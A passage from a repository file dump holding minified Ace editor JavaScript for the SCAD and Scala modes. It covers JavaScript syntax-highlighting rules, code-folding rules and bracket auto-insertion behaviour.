f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/scad\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/scad_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./scad_highlight_rules\").scadHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/scad\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-scala.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var 